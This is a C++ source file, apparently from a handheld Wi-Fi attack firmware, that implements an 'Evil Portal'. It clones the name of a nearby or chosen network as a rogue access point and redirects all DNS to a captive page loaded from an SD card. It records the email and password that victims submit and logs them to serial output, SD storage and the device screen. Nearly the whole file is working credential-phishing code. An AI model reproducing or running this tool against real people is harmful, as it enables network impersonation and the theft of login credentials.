torambo.com
/
Momentum-Apps


			
				
					
						
						
							123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310
							#include "EvilPortal.h"

AsyncWebServer server(80);

EvilPortal::EvilPortal() {
  this->runServer = false;
  this->name_received = false;
  this->password_received = false;
  this->has_html = false;
  this->has_ap = false;
}

bool EvilPortal::begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
  if (!this->setAP(ssids, access_points))
    return false;
  if (!this->setHtml())
    return false;
    
  startPortal();

  return true;
}

String EvilPortal::get_user_name() {
  return this->user_name;
}

String EvilPortal::get_password() {
  return this->password;
}

void EvilPortal::setupServer() {
  server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
    request->send_P(200, "text/html", index_html);
    Serial.println("client connected");
    #ifdef HAS_SCREEN
      this->sendToDisplay("Client connected to server");
    #endif
  });

  server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
    String inputMessage;
    String inputParam;

    if (request->hasParam("email")) {
      inputMessage = request->getParam("email")->value();
      inputParam = "email";
      this->user_name = inputMessage;
      this->name_received = true;
    }

    if (request->hasParam("password")) {
      inputMessage = request->getParam("password")->value();
      inputParam = "password";
      this->password = inputMessage;
      this->password_received = true;
    }
    request->send(
      200, "text/html",
      "<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
  });
  Serial.println("web server up");
}

bool EvilPortal::setHtml() {
  Serial.println("Setting HTML...");
  #ifndef WRITE_PACKETS_SERIAL
    File html_file = sd_obj.getFile("/index.html");
    if (!html_file) {
      #ifdef HAS_SCREEN
        this->sendToDisplay("Could not find /index.html.");
        this->sendToDisplay("Touch to exit...");
      #endif
      Serial.println("Could not find /index.html. Use stopscan...");
      return false;
    }
    else {
      if (html_file.size() > MAX_HTML_SIZE) {
        #ifdef HAS_SCREEN
          this->sendToDisplay("The given HTML is too large.");
          this->sendToDisplay("The Byte limit is " + (String)MAX_HTML_SIZE);
          this->sendToDisplay("Touch to exit...");
        #endif
        Serial.println("The provided HTML is too large. Byte limit is " + (String)MAX_HTML_SIZE + "\nUse stopscan...");
        return false;
      }
      String html = "";
      while (html_file.available()) {
        char c = html_file.read();
        if (isPrintable(c))
          html.concat(c);
      }
      strncpy(index_html, html.c_str(), strlen(html.c_str()));
      this->has_html = true;
      Serial.println("html set");
      html_file.close();
      return true;
    }
  #else
    return false;
  #endif

}

bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
  // See if there are selected APs first
  String ap_config = "";
  String temp_ap_name = "";
  for (int i = 0; i < access_points->size(); i++) {
    if (access_points->get(i).selected) {
      temp_ap_name = access_points->get(i).essid;
      break;
    }
  }
  // If there are no SSIDs and there are no APs selected, pull from file
  // This means the file is last resort
  if ((ssids->size() <= 0) && (temp_ap_name == "")) {
    #ifndef WRITE_PACKETS_SERIAL
      File ap_config_file = sd_obj.getFile("/ap.config.txt");
      // Could not open config file. return false
      if (!ap_config_file) {
        #ifdef HAS_SCREEN
          this->sendToDisplay("Could not find /ap.config.txt.");
          this->sendToDisplay("Touch to exit...");
        #endif
        Serial.println("Could not find /ap.config.txt. Use stopscan...");
        return false;
      }
      // Config file good. Proceed
      else {
        // ap name too long. return false        
        if (ap_config_file.size() > MAX_AP_NAME_SIZE) {
          #ifdef HAS_SCREEN
            this->sendToDisplay("The given AP name is too large.");
            this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
            this->sendToDisplay("Touch to exit...");
          #endif
          Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
          return false;
        }
        // AP name length good. Read from file into var
        while (ap_config_file.available()) {
          char c = ap_config_file.read();
          Serial.print(c);
          if (isPrintable(c)) {
            ap_config.concat(c);
          }
        }
        #ifdef HAS_SCREEN
          this->sendToDisplay("AP name from config file");
          this->sendToDisplay("AP name: " + ap_config);
        #endif
        Serial.println("AP name from config file: " + ap_config);
        ap_config_file.close();
      }
    #else
      return false;
    #endif
  }
  // There are SSIDs in the list but there could also be an AP selected
  // Priority is SSID list before AP selected and config file
  else if (ssids->size() > 0) {
    ap_config = ssids->get(0).essid;
    if (ap_config.length() > MAX_AP_NAME_SIZE) {
      #ifdef HAS_SCREEN
        this->sendToDisplay("The given AP name is too large.");
        this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
        this->sendToDisplay("Touch to exit...");
      #endif
      Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
      return false;
    }
    #ifdef HAS_SCREEN
      this->sendToDisplay("AP name from SSID list");
      this->sendToDisplay("AP name: " + ap_config);
    #endif
    Serial.println("AP name from SSID list: " + ap_config);
  }
  else if (temp_ap_name != "") {
    if (temp_ap_name.length() > MAX_AP_NAME_SIZE) {
      #ifdef HAS_SCREEN
        this->sendToDisplay("The given AP name is too large.");
        this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
        this->sendToDisplay("Touch to exit...");
      #endif
      Serial.println("The given AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
    }
    else {
      ap_config = temp_ap_name;
      #ifdef HAS_SCREEN
        this->sendToDisplay("AP name from AP list");
        this->sendToDisplay("AP name: " + ap_config);
      #endif
      Serial.println("AP name from AP list: " + ap_config);
    }
  }
  else {
    Serial.println("Could not configure Access Point. Use stopscan...");
    #ifdef HAS_SCREEN
      this->sendToDisplay("Could not configure Access Point.");
      this->sendToDisplay("Touch to exit...");
    #endif
  }

  if (ap_config != "") {
    strncpy(apName, ap_config.c_str(), MAX_AP_NAME_SIZE);
    this->has_ap = true;
    Serial.println("ap config set");
    return true;
  }
  else
    return false;

}

void EvilPortal::startAP() {
  Serial.print("starting ap ");
  Serial.println(apName);

  WiFi.mode(WIFI_AP);
  WiFi.softAP(apName);

  #ifdef HAS_SCREEN
    this->sendToDisplay("AP started");
  #endif

  Serial.print("ap ip address: ");
  Serial.println(WiFi.softAPIP());

  this->setupServer();

  this->dnsServer.start(53, "*", WiFi.softAPIP());
  server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
  server.begin();
  #ifdef HAS_SCREEN
    this->sendToDisplay("Evil Portal READY");
  #endif
}

void EvilPortal::startPortal() {
  // wait for flipper input to get config index
  this->startAP();

  this->runServer = true;
}

void EvilPortal::convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len) {
  len = str.length(); // Obtain the length of the string

  buf = new uint8_t[len]; // Dynamically allocate the buffer

  // Copy each character from the string to the buffer
  for (uint32_t i = 0; i < len; i++) {
    buf[i] = static_cast<uint8_t>(str.charAt(i));
  }
}

void EvilPortal::addLog(String log, int len) {
  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  if (save_packet) {
    uint8_t* logBuffer = nullptr;
    uint32_t logLength = 0;
    this->convertStringToUint8Array(log, logBuffer, logLength);
    
    #ifdef WRITE_PACKETS_SERIAL
      buffer_obj.addPacket(logBuffer, logLength, true);
      delete[] logBuffer;
    #elif defined(HAS_SD)
      sd_obj.addPacket(logBuffer, logLength, true);
      delete[] logBuffer;
    #else
      delete[] logBuffer;
      return;
    #endif
  }
}

void EvilPortal::sendToDisplay(String msg) {
  #ifdef HAS_SCREEN
    String display_string = "";
    display_string.concat(msg);
    int temp_len = display_string.length();
    for (int i = 0; i < 40 - temp_len; i++)
    {
      display_string.concat(" ");
    }
    display_obj.loading = true;
    display_obj.display_buffer->add(display_string);
    display_obj.loading = false;
  #endif
}

void EvilPortal::main(uint8_t scan_mode) {
  if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){
    this->dnsServer.processNextRequest();
    if (this->name_received && this->password_received) {
      this->name_received = false;
      this->password_received = false;
      String logValue1 =
          "u: " + this->user_name;
      String logValue2 = "p: " + this->password;
      String full_string = logValue1 + " " + logValue2 + "\n";
      Serial.print(full_string);
      this->addLog(full_string, full_string.length());
      #ifdef HAS_SCREEN
        this->sendToDisplay(full_string);
      #endif
    }
  }
}